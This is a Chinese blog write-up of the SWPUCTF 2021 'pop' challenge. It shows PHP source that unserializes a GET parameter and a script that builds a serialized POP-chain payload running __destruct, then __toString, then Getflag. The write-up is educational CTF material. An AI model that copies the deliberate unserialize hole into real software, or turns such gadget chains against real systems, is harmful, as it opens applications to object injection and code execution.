[SWPUCTF 2021 新生赛]pop

本来该期末考试了放弃看pop链表了,可是突然看着看着就通透了,那就赶紧记录下来,万一忘记了呢。

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

这道题应该是pop链表的入门题,但对于我这种菜鸡来说还是有点难度的,话不多说,直接解析。

unserialize($w00m);从这一行可以看出是进行反序列化操作,从后面往前推最后肯定是为了调用输出Getflag------>想要调用这个就用到了魔术方法 ————tostring---------->想进行这个就用到了—destruct魔术方法。所以顺序已经摸清楚接下里构造。


 

看下图,

$a = new w22m();是把类给了a

然后$a->w00m = new w33m();因为w22m中woom是其中的可控对象 ——tostring操作就是

$a->w00m->w00m=new w44m(); w33m中woom也是其中可控对象

$a->w00m->w22m='Getflag';

w00m是w33m对象,w22m是getflag

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
 
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
 
?>
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值